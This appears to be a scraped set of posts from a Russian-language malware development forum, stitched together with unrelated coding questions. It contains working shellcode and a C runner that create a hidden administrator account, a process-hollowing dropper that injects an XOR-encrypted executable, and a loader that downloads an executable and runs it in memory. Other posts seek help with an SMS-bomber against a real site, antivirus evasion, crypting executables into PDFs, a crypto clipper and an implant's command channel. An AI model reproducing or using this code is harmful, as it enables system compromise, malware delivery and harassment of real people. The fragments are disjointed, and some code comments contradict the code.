string[] words = text.Split(' ');
int counter = 0;
//for (int i = 0; i < words.Length; i++)
//{
// if (words[i] != null || words[i] != "")
// {
// counter++;
// }
//}
//string[] sortWords = new string[counter];
//int iter = 0;
//for (int i = 0; i < words.Length; i++)
//{
// if (words[i] != "")
// {
// sortWords[iter] = words[i];
// iter++;
// }
// else
// {
// continue;
// }
//}
return words;
}
}
}
Существуют ли аналоги MetroFramework для WinForms ?
В виде NuGet package желательно
This is a addadminexploit.asm assembly code that creates a new user named
"omerta" with password "XSSTestPOC".
Then adds this user to administrators group.
It uses uses the PEB method ---> locate the baseAddress of the
modules ---> Export Directory Table to locate the symbols.
The shellcodes perform 3 different calls:
- NetUserAdd
- NetLocalGroupAddMembers
- ExitProcess
Code:Copy to clipboard
start:
mov ebp, esp ;
add esp, 0xfffff9f0 ; To avoid null bytes
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0Ch] ; ESI = PEB->Ldr
mov esi,[esi+1Ch] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+8h] ; EBX = InInitOrder[X].base_address
mov edi, [esi+20h] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00?
jne next_module ; No: try next module.
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc: ;
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later use
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ;
cdq ; Null EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
; Resolve kernel32 symbols
resolve_symbols_kernel32:
push 0x78b5b983 ; Kernel 32 - TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; Kernel 32 - LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage
; LoadLibraryA - samcli.dll
load_samcli:
xor eax, eax ;
push eax ;
mov ax, 0x6c6c ; # ll
push eax ;
push 0x642e696c ; d.il
push 0x636d6173 ; cmas
push esp ; Push ESP to have a pointer to the string
call dword [ebp+0x14] ; Call LoadLibraryA
; Resolve samcli.dll symbols
resolve_symbols_samcli:
; Samcli - NetUserAdd
mov ebx, eax ; Move the base address of samcli.dll to EBX
push 0xcd7cdf5e ; NetUserAdd hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save NetUserAdd address for later usage
; Samcli - NetLocalGroupAddMembers
push 0xc30c3dd7 ; NetLocalGroupAddMembers hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save NetLocalGroupAddMembers address for later usage
execute_shellcode:
; Useful registers
xor eax, eax ; eax = 0
xor ebx, ebx ;
inc ebx ; ebx = 1
; Group - Administrators
push eax ; string delimiter
; push 0x00730072 ; sr
mov edx, 0xff8cff8e ;
neg edx ;
push edx ;
; push 0x006f0074 ; ot
mov edx, 0xff90ff8c ;
neg edx ;
push edx ;
; push 0x00610072 ; ar
mov edx, 0xff9eff8e ;
neg edx ;
push edx ;
; push 0x00740073 ; ts
mov edx, 0xff8bff8d ;
neg edx ;
push edx ;
; push 0x0069006e ; in
mov edx, 0xff96ff92 ;
neg edx ;
push edx ;
; push 0x0069006d ; im
mov edx, 0xff96ff93 ;
neg edx ;
push edx ;
; push 0x00640041 ; dA
mov edx, 0xff9bffbf ;
neg edx ;
push edx ;
mov [ebp+0x24], esp ; store groupname in [esi]
; Username - omerta
push eax ; string delimiter
; push 0x00690076 ; iv
mov edx, 0xff96ff8a ;
neg edx ;
push edx ;
; push 0x00610078 ; xa
mov edx, 0xff9eff88 ;
neg edx ;
push edx ;
mov ecx, esp ; Pointer to the string
mov [ebp+0x28], ecx ; store username in [esi+4]
; Password - XSSTestPOC
push eax ; string delimiter
; push 0x00210035 ; !5
mov edx, 0xffdeffcb ;
neg edx ;
push edx ;
; push 0x00340033 ; 43
mov edx, 0xffcbffcd ;
neg edx ;
push edx ;
; push 0x00320031 ; 21
mov edx, 0xffcdffcf ;
neg edx ;
push edx ;
; push 0x00720065 ; re
mov edx, 0xff8dff9b ;
neg edx ;
push edx ;
; push 0x006d006d ; mm
mov edx, 0xff92ff93 ;
neg edx ;
push edx ;
; push 0x00750053 ; uS
mov edx, 0xff8affad ;
neg edx ;
push edx ;
mov edx, esp ; store password in edx
; USER_INFO_1 structure
push eax ; 0 - sScript_Path
push ebx ; 1 - uiFlags
push eax ; 0 - sComment
push eax ; 0 - sHome_Dir
push ebx ; 1 - uiPriv = USER_PRIV_USER = 1
push eax ; 0 - uiPasswordAge
push edx ; str - sPassword
push ecx ; str - sUsername
mov ecx, esp ;
; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
; NetUserAdd(null, 1, bufptr, out parm_err);
push eax ; 0 - parm_err
push esp ; pointer to USER_INFO_1 structure ?
push ecx ; USER_INFO_1 - UserInfo
push ebx ; 1 - level
push eax ; 0 - servername
call dword [ebp+0x1C] ; NetUserAdd - System Call
; LOCALGROUP_MEMBERS_INFO_3 structure
mov ecx, [ebp+0x28] ; Domain = Username
push ecx ;
mov ecx, esp ; Save a pointer to Username
; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
push ebx ; 1 - totalentries
push ecx ; LOCALGROUP_MEMBERS_INFO_3 - username
push 3 ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
push dword [ebp+0x24] ; str - groupname
push eax ; 0 - servername
call dword [ebp+0x20] ; NetLocalGroupAddMembers - System Call
xor eax, eax ;
push eax ; return 0
call dword [ebp+0x10] ; ExitProcess - System Call
####################################### shellcode.c #######################################
/*
Shellcode runner author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c"
"\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04"
"\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18"
"\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31"
"\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8"
"\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e"
"\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x50\x66\xb8\x6c\x6c\x50\x68\x6c\x69\x2e"
"\x64\x68\x73\x61\x6d\x63\x54\xff\x55\x14\x89\xc3\x68\x5e\xdf\x7c\xcd\xff\x55\x04"
"\x89\x45\x1c\x68\xd7\x3d\x0c\xc3\xff\x55\x04\x89\x45\x20\x31\xc0\x31\xdb\x43\x50"
"\xba\x8e\xff\x8c\xff\xf7\xda\x52\xba\x8c\xff\x90\xff\xf7\xda\x52\xba\x8e\xff\x9e"
"\xff\xf7\xda\x52\xba\x8d\xff\x8b\xff\xf7\xda\x52\xba\x92\xff\x96\xff\xf7\xda\x52"
"\xba\x93\xff\x96\xff\xf7\xda\x52\xba\xbf\xff\x9b\xff\xf7\xda\x52\x89\x65\x24\x50"
"\xba\x8a\xff\x96\xff\xf7\xda\x52\xba\x88\xff\x9e\xff\xf7\xda\x52\x89\xe1\x89\x4d"
"\x28\x50\xba\xcb\xff\xde\xff\xf7\xda\x52\xba\xcd\xff\xcb\xff\xf7\xda\x52\xba\xcf"
"\xff\xcd\xff\xf7\xda\x52\xba\x9b\xff\x8d\xff\xf7\xda\x52\xba\x93\xff\x92\xff\xf7"
"\xda\x52\xba\xad\xff\x8a\xff\xf7\xda\x52\x89\xe2\x50\x53\x50\x50\x53\x50\x52\x51"
"\x89\xe1\x50\x54\x51\x53\x50\xff\x55\x1c\x8b\x4d\x28\x51\x89\xe1\x53\x51\x6a\x03"
"\xff\x75\x24\x50\xff\x55\x20\x31\xc0\x50\xff\x55\x10";
unsigned int payload_len = 373;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("Shellcode Length: %d\n", strlen(payload));
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Всем привет. Пытаюсь сделать что-то типо смс-бомбера. Подскажите, пожалуйста, как нужно корректно сформировать запрос с этого сайта (сайт), чтобы отправилось сообщение? Я пользовался утилитой Postman, в него перенёс все Request Headers, и в постмане всё работало, а потом, когда с потсмана скопировал C# код и вставил в VS, то программа отказывается работать. Возвращает пустой response и не отправляет сообщение. Вот сам C# код:
C#:Copy to clipboard
try
{
var client = new RestClient("https://www.585zolotoy.ru/api/sms/send_code/");
client.Timeout = -1;
var request = new RestRequest(Method.POST);
request.AddHeader("accept-language", "ru,en;q=0.9");
request.AddHeader("content-length", "23");
request.AddHeader("content-type", "application/json;charset=UTF-8");
request.AddHeader("origin", "https://www.585zolotoy.ru");
request.AddHeader("referer", "https://www.585zolotoy.ru/login/");
request.AddHeader("sec-ch-ua", "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\", \"Yandex\";v=\"22\"");
request.AddHeader("sec-ch-ua-mobile", "?0");
request.AddHeader("sec-ch-ua-platform", "\"Windows\"");
request.AddHeader("sec-fetch-dest", "empty");
request.AddHeader("sec-fetch-mode", "cors");
request.AddHeader("sec-fetch-site", "same-origin");
request.AddHeader("x-qa-client-type", "WEB");
request.AddHeader("x-qa-company", "3e6efe10-defd-4983-94a1-c5a4d3cb3689");
request.AddHeader("x-qa-region", "a93acc32-8ed4-48ed-b105-abd0eb856021");
var body = "{\"phone\":\"тут номер телефона"}"; //скобки в этой строке я экранировал сам. До этого было везде по две двойные кавычки
request.AddParameter("application/json;charset=UTF-8", body, ParameterType.RequestBody);
IRestResponse response = client.Execute(request);
MessageBox.Show(response.Content);
}
catch(Exception ex)
{
MessageBox.Show("Не отправилось!" + ex);
}
Также хочу сказать, что на новой версии либы RestSharp - код не работает вообще, не находит некоторые методы. Я установил restSharp версии 106.15.0
Приветствую, дорогин гуру кодинга. Помогите с такой проблемкой: есть тхт файл,
в нём находятся определённые данные, допустим, имя : фамилия ; номер.
Мне же нужно сделать так, чтобы при инпуте номера, мне высветилось имя и
фамилия, или при инпуте фамилии имя и номер, далее по аналогии. Помогите
реализовать данную задумку.
Для ознакомления. Если понравилась книга - не забывайте купить ее.
You must have at least 5 reaction(s) to view the content.
Hi can some good c++ expert help me with this problem,
I successfully create my shellcode injector in local memory, but still have one more problem i face as in the picture bellow after decrypting the shellcode and running its naked in memory if i can see the naked code the AV still can see this naked and detect it can some one help fix this problem and prevent av and process hacker from see the shellcode naked and hidding it
Запуск ресурса из памяти для x32.
Переделать под x64 не сложно.
Code:Copy to clipboard
#include "resource.h"
#include <Windows.h>
#include <iostream>
using namespace std;
// Decrypt the executable
void decryptXOR(char* binary, int size)
{
cout << "[-] Decrypting" << endl;
// Define the key to XOR this ***** with
int xorKey = 169;
cout << "[-] XOR key: " << xorKey << endl;
// Decrypt that b
char unencrypted_char;
for (int i = 0; i < size; i++) {
unencrypted_char = binary[i];
binary[i] = binary[i] ^ xorKey;
}
}
// Run the PE from memory
int RunPE(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //�Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
// Main method, does not take any arguments
int main()
{
cout << "Dropper v1.0" << endl << endl;
// Load our encrypted.exe which is stored in this file as a resource
HRSRC resource = ::FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(101), RT_RCDATA);
HGLOBAL resourceData = ::LoadResource(NULL, resource);
unsigned int resourceSize = ::SizeofResource(NULL, resource);
void* lockedResourceData = ::LockResource(resourceData);
// Store the data in a buffer
char* buffer = new char[resourceSize];
memcpy(buffer, lockedResourceData, resourceSize);
// Feedback
cout << "[-] Loaded encrypted data from resource" << endl;
cout << "[-] Size: " << resourceSize << " bytes" << endl;
// Decrypt it in memory
decryptXOR(buffer, resourceSize);
cout << "[-] Unencrypted first 40 bytes: " << endl << "[-] '";
int count = 0;
for (int i = 0; i < 40; i++) {
cout << buffer[i];
}
cout << "'" << endl;
// Run it from memory
RunPE(buffer);
// Finishes
cout << "Finished, have a nice day." << endl;
return 0;
}
Ещё раз здравствуйте. Я помню раньше подгружал нужные библиотеки (для
архивации), которые использовала моя программа посредством dnlib и дальше
компилила пропатченый exeшник.
Но сейчас вопрос стоит в другом, мой стаб использует данные библиотеки от
.net. Встроенные!!, ни какие то ннеймовские бинарники, а встроенные, которые
лежать в папке MicrosoftNET
Spoiler: lib
Моё подозрение падает на System.Runtime.InteropServices;
Microsoft.VisualBasic;
При компиляции вылетает такая ошибка=> я делаю вывод, что какая то библиотека
не видна dnlib.
Spoiler: error
Вот ответ на вопрос, почему же я изначально решил использовать Mona.Cecil, тк
она подгружает все библиотеки в автоматическом режиме, да и скорость
компиляции её по выше.
Подскажите как мне подгрузить библиотеки? Или может быть причина проблема
вообще в другом??
Всех приветствую, столкнулся с такой задачей: необходимо развернуть рабочую
среду для работы с TG Desktop на win10 x64.
Инструкция:
<https://github.com/telegramdesktop/tdesktop/blob/dev/docs/building-
win-x64.md>
Но у меня не получается это сделать, вся проблема в Qt, а именно с установкой этого инструмента. Необходимая версия для работы с TG Desktop - 5.15.15, но она старая, в официальном установщике устанавливается 6.8.0, и я не смог найти других способов установки конкретно этой версии. Единственное, что мне удалось найти, так это развернуть установщик через исходный код 5.15.15, но это очень нудный и долгий процесс, я уверен, что имеется решение намного проще. Возможно кто-то из вас сталкивался с этим, и сможет мне помочь. Заранее спасибо!
Hi,
i try right now to load a pe from a url and then execute it in the memory.
I generated this script with chatgpt, cause i didnt found a example online.
I get this error:
Code 3221225477 (0xc0000005) 'Access violation'
Script:
C#:Copy to clipboard
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Net;
class PEFileLoader
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
public const uint MEM_COMMIT = 0x00001000;
public const uint MEM_RESERVE = 0x00002000;
public const uint PAGE_EXECUTE_READWRITE = 0x40;
public const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
byte[] peBytes = new WebClient().DownloadData("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe");
IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (uint)peBytes.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Marshal.Copy(peBytes, 0, allocatedMemory, peBytes.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(threadHandle, INFINITE);
}
}
Всем привет. Пишу один проект. Не очень понимаю, почему в моём старом проекте
данный код для патчинга хорошо работает, а в новом отказывается делать
Replace.
Реплайс переменных через cecil
Spoiler: code
C#:Copy to clipboard
AssemblyDefinition assemblyDefinition = AssemblyDefinition.ReadAssembly("Stub.exe");
foreach (ModuleDefinition moduleDefinition in assemblyDefinition.Modules)
{
foreach (TypeDefinition typeDefinition in moduleDefinition.Types)
{
foreach (MethodDefinition methodDefinition in typeDefinition.Methods)
{
if (methodDefinition.IsConstructor && methodDefinition.HasBody)
{
IEnumerator<Instruction> enumerator4 = (IEnumerator<Instruction>)methodDefinition.Body.Instructions.GetEnumerator();
while (enumerator4.MoveNext())
{
Instruction instruction = enumerator4.Current;
if (instruction.OpCode.Code == Code.Ldstr & instruction.Operand != null)
{
string left = instruction.Operand.ToString();
if (Operators.CompareString(left, "[Msg]", false) == 0)
{
instruction.Operand = "Hello";
}
}
}
}
}
}
}
После патчинга, я пишу стаб на диск вот так
Spoiler
Изначально думал, что накосячил именно со стабом криптера.
Решил написать Console.WrLine и пропатчить тем самым куском кода, что выше.
Spoiler: вот что я патчу
C#:Copy to clipboard
using System;
namespace Stub
{
internal static class Program
{
[STAThread]
private static void Main()
{
Console.WriteLine("[Msg]");
}
}
}
После патчинга, кидаю в dnspy и вижу, что ничего не заменилось~~.~~
Spoiler: скрин "пропатченого кода"
C:Copy to clipboard
NTSTATUS Read_Physical_memory(LONGLONG Address, PVOID buffer, SIZE_T bitetoread)
{
PVOID Pool = ExAllocatePoolWithTag(0, bitetoread, 'Tag');
if (Pool == NULL) return STATUS_UNSUCCESSFUL;
else
{
PHYSICAL_ADDRESS ad;
ad.QuadPart = Address;
PVOID MemoryMap = MmMapIoSpaceEx(ad, bitetoread, PAGE_READONLY);
if (MemoryMap == NULL) return STATUS_UNSUCCESSFUL;
else
{
MM_COPY_ADDRESS copyaddress;
copyaddress.VirtualAddress = MemoryMap;
SIZE_T counter;
MmCopyMemory(buffer, copyaddress, bitetoread, MM_COPY_MEMORY_VIRTUAL, &counter);
MmUnmapIoSpace(MemoryMap, bitetoread);
ExFreePoolWithTag(Pool, 'Tag');
return STATUS_SUCCESS;
}
}
}
я новичок в разработке драйверов так что не судите строго за ошибки)
Доброго времени суток, форумчане! Возник вопрос насчёт взаимодействия с компонентами (кнопки , поле для ввода , чекбоксы и ТД) на интерфейсе(GUI) программы. Допустим есть калькулятор и мне нужно программно нажать на кнопку + . Как это можно реализовать на каком то из яп(c/c++) . В Гугле почитал что есть способ через winapi(для меня сложновато). Может кто по подробнее объяснит? Буду очень благодарен за любой совет.
Всем доброго дня. Мне нужно выбрать какой то протокол для удаленной связи
сервера и импланта, есть небольшой список: protobuf (grpc), windows rpc,
простые сокеты. Какой бы вы выбрали в свой проект и почему? Может быть ещё
какой то протокол есть, более удобный?
Насчёт сокетов, была идея либо просто структурки слать, либо какими нибудь
xml-ями общаться.
Почему когда собираю бинарник в VS2019 и открываю его в Иде, там показывает реальные имена функций, асм заголовки которые есть в реальном проекте. Как скомпилить файл в VS что б не хранил в себе всю эту инфу?
Можно ли изменить информацию об компиляторе/линкере которая хранится в rich header в пе файле. Возможно есть какие то похожие проекты на гитхабе, но я не нашел подобного. Или у кого то есть подобные наработки и может поделиться, буду сильно благодарен.
Всем привет!
Если коротко: купил клипер, почти дописали, задумался а могут ли меня обмануть
путем добавления в код зависимость на сервер (для подмены кошельков)
Нужна помощь, проверить есть ли в коде зависимость на сервер, а так же
проверить нет ли встроенных адресов крипты прям в код.
Все исходники будут на руках
Требуется умелец который шарит за Rast и С++
Надо сделать ForeGround, чтоб не умирал сам бот, как сделать примерно?
ищу крипт exe в pdf с обходами дефа
Данная тема создана для того что бы просто получить созерцательное
удовольствие.
Приведу красивый пример:
Вот пример на Winapi под тоже самое Qt:
https://github.com/Jorgen-VikingGod/Qt-Frameless-Window-DarkStyle ( там все
так же реализовано на Winapi
Вот хороший разбор как это делается на Winapi:
Образ мышления: Assembler, Окна нестандартной формы на Ассемблере. Часть 1, отзывы, Фигурная резьба по деревянным окнам - старинное народное творчество. А в нашем 21-м веке народным творчеством будет резьба по окнам Windows. При умелом использовании это станет стильным украшением для ваших...
www.manhunter.ru
Образ мышления: Assembler, Окна нестандартной формы на Ассемблере. Часть 2, отзывы, В первой части статьи я рассказал как создавать окна нестандартной формы при помощи регионов. У этого способа есть один большой недостаток: создаваемые окна так или иначе состоят из четких геометрических форм. Но...
www.manhunter.ru
Приветствуются так же ImGui! Присылайте скриншоты, что бы было очень приятно смотреть их, и ресурсы, что бы можно было попользовать!)
Всем добрый день! Не подскажете ли литературу/статьи/курсы, изучив которые, можно погрузиться в программирование с использованием системы аутентификации Kerberos? Если вдруг таковой нет, то, быть может, есть какой-то материал для изучения GSS-API, работы с SSPI? Проектирование собственного SSP?
Анализирую док. Вот накидал poc
Го проверим?
Аппаратные составляющие (аппаратные боковые каналы) — это механизмы, которые обеспечивают несанкционированную передачу информации между различными компонентами аппаратного обеспечения компьютера. Эти причины могут возникать из-за совместного использования ресурсов, таких как кэш-память, буферы заполнения, буферы хранения и другие, между различными потоками выполнения или компонентами систем.
Click to expand...
для англосаксов выжимка из pdf
Introduction :
- The paper begins by highlighting the increasing number of malware attacks and the need for automated methods to detect and analyze them.
- Sandboxing is a common technique used to analyze malware in a controlled environment, but malware developers often employ techniques to detect when their software is running in a sandbox.
- The authors propose side-channel-based techniques for detecting sandboxes, particularly by exploiting side-channel leakage between sibling logical cores.
Related Work :
- The paper discusses various existing sandbox detection techniques, including virtualized environment artifacts detection, timing attacks, and CPU instructions behavior measurements.
- It mentions previous research on sandbox detection and evasion techniques.
Background :
- The paper provides background information on Simultaneous Multithreading (SMT), a technology that allows different threads to share physical resources.
- It also discusses shared-resources-based side-channel attacks, which take advantage of shared hardware resources to leak information between sibling hardware threads.
Threat Model :
- The authors describe the conditions required for a successful attack, including the need for virtualization technology (e.g., VT-x or AMD-v) and SMT to be enabled.
Attacks Overview :
- The paper presents three novel attacks for sandbox detection:
- Multicore Leakage : Exploiting the virtual core scheduling mechanism to detect leakage between non-sibling cores.
- Distinguishable Leakage Rate : Identifying sandbox environments based on differences in the leakage rate over time.
- VMM Misconfiguration : Detecting sandboxes by analyzing information returned by the hypervisor VMM, particularly focusing on discrepancies in the reported number of logical cores.
Experiments and Results :
- The authors conducted experiments to test their attacks against popular hypervisors, including VMware Workstation, VirtualBox, Microsoft Hyper-V, and MAVMM.
- The results showed that the proposed attacks successfully detected sandboxes in all tested hypervisors, except for the VMM misconfiguration attack against Microsoft Hyper-V.
Discussion :
- The paper discusses the implications of the experiments and emphasizes that the vulnerabilities for sandbox detection are not limited to specific hypervisor vendors or processor types.
- It suggests two practical mitigations: disabling SMT (which impacts performance) or implementing a strict virtual core scheduling policy in the hypervisor.
Conclusion :
- The paper concludes by highlighting the significance of the research in detecting sandboxes using hardware side channels.
- It suggests that the findings open new avenues for innovative research in sandbox detection techniques based on side-channel leakage.
Overall, the paper presents a novel approach to sandbox detection and highlights potential vulnerabilities in existing hypervisors, calling for increased attention to security and mitigation measures in virtualized environments used for malware analysis.
Click to expand...
C++:Copy to clipboard
#include <iostream>
#include <thread>
#include <atomic>
// Глобальная переменная для отслеживания утечек данных
std::atomic<bool> data_leakage_detected(false);
// Глобальная разделяемая переменная
std::atomic<int> shared_data(0);
void thread_function() {
int expected_value = 0;
int consecutive_mismatches = 0;
for (int i = 0; i < 10000000; ++i) {
shared_data.fetch_add(1, std::memory_order_relaxed); // Atomic increment
int value = shared_data.load(std::memory_order_relaxed); // Atomic read
if (value != i + 1) {
consecutive_mismatches++;
}
else {
consecutive_mismatches = 0;
}
if (consecutive_mismatches > 100) {
data_leakage_detected.store(true, std::memory_order_relaxed);
break;
}
expected_value = i + 1;
}
}
bool check_smt() {
// Здесь можно реализовать код для определения наличия SMT и
// соотношения физических и логических ядер
// Эта функция может быть пустой для простоты
// Get the number of available hardware threads
const int num_threads = std::thread::hardware_concurrency();
// Calculate the number of physical cores
const int num_physical_cores = num_threads / 2;
std::cout << "Number of logical cores: " << num_threads << std::endl;
std::cout << "Number of physical cores: " << num_physical_cores << std::endl;
if (num_physical_cores < num_threads) {
std::cout << "SMT (Hyper-Threading) is enabled." << std::endl;
return true;
}
else {
std::cout << "SMT (Hyper-Threading) is not enabled." << std::endl;
return false;
}
return false;
}
bool check_leakage() {
// Запуск потоков на разных логических ядрах
std::thread t1(thread_function);
std::thread t2(thread_function);
// Ожидание завершения потоков
t1.join();
t2.join();
// Измерение времени, затраченного на утечку данных
auto start_time = std::chrono::high_resolution_clock::now();
for (int i = 0; i < 1000; ++i) {
t1 = std::thread(thread_function);
t2 = std::thread(thread_function);
t1.join();
t2.join();
}
auto end_time = std::chrono::high_resolution_clock::now();
std::chrono::duration<double> elapsed_seconds = end_time - start_time;
// Анализ скорости утечки данных
if (elapsed_seconds.count() < 1.0) {
// Если утечка данных произошла очень быстро, это может указывать на виртуализацию
data_leakage_detected.store(true, std::memory_order_relaxed);
}
// Анализ флага утечки данных
return data_leakage_detected.load(std::memory_order_relaxed);
}
int main() {
bool is_vm = false;
if (check_smt()) {
is_vm = true;
}
if (check_leakage()) {
is_vm = true;
}
if (is_vm) {
std::cout << "Observed signs of virtualized environment" << std::endl;
}
else {
std::cout << "Signs of native environment" << std::endl;
}
return 0;
}
**ЯП - Шарп
